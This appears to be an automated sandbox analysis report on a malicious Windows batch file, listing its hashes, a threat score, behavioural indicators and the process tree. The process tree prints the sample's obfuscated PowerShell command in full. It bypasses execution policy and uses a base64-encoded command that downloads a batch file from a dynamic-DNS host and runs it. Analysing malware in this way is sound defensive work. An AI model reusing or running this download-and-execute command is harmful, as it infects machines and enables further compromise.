e0821c032569fd1820f3399609b27f448db1b9d34043593661ea6000bbcdf0eb

Analysis

max time kernel
139s
max time network
166s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
08/12/2022, 09:21

Target
derrffdde.bat
Size 645B
Sample221208-lbbqaace2z
SHA256 e0821c032569fd1820f3399609b27f448db1b9d34043593661ea6000bbcdf0eb
MD5 834e89e3b40dc70d0066308c5aa8086b
SHA1 9938b28483b704b275d6239bf3696d4d68b7ddc0
SHA512 c0562e96e7b8f2fc950ee4a29413c28202eaafd919b52156abc41a4f9489a4f56d797669dc7d58779b051f8bce2ac02c33aca79ba2374ccad2aa8fd643491c95
MD5 SHA1 SHA512

Score

8^/10

Blocklisted process makes network request 1 IoCs

flow	pid	Process
16	364	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
364	powershell.exe
364	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	364	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 788 wrote to memory of 364	788	cmd.exe	83
PID 788 wrote to memory of 364	788	cmd.exe	83

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\derrffdde.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  POWeRsHELl -ex ByPASS -Nop -W 1 -eC IAAJAGkAbgBWAE8ASwBFAC0AVwBlAGIAUgBlAFEAVQBFAFMAVAAgAAkALQBVAFIAaQAgAAkAKAAdIGgAdAB0AHAAOgAdICAACQAgAAkAKwAgAAkAHSAvAC8AagBsAGgAdQBvAGkAbABqAG4AdQB5AGoAYgB5AHIAdABqAHkAZwBoAGkAbABqAG8AaQB1AGgAeQB1AGoAaAAdICAACQAgAAkAKwAgAAkAHSBiAGwAawBqAGwAaABuAGIAeQB1AGcAagB2AHkAdAB5AGoAZwBiAGsAagBoAG4AeQB1AHQAZwB5AGoAaAB5AGIAHSAgAAkAIAAJACsAIAAJAB0gLgB5AGQAbgBzAC4AZQB1AB0gIAAJACAACQArACAACQAdIC8AZgBpAHIAZQAvAHMAYQB2AGUALgBiAGEAdAAdICAACQApACAALQBPAFUAdABGAGkAbABFACAACQAdICQARQBOAFYAOgBUAGUATQBQAFwAbQBzAHAAYQBsAHQALgBiAGEAdAAdICAAOwAgAHMAVABBAFIAVAAgAAkAHSAkAEUATgB2ADoAdABFAE0AcABcAG0AcwBwAGEAbAB0AC4AYgBhAHQAHSA=
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:364

memory/364-133-0x00000276F5430000-0x00000276F5452000-memory.dmp

Download

memory/364-134-0x00007FFD3A790000-0x00007FFD3B251000-memory.dmp

Download

memory/364-135-0x00007FFD3A790000-0x00007FFD3B251000-memory.dmp

Download

memory/364-136-0x00007FFD3A790000-0x00007FFD3B251000-memory.dmp

Download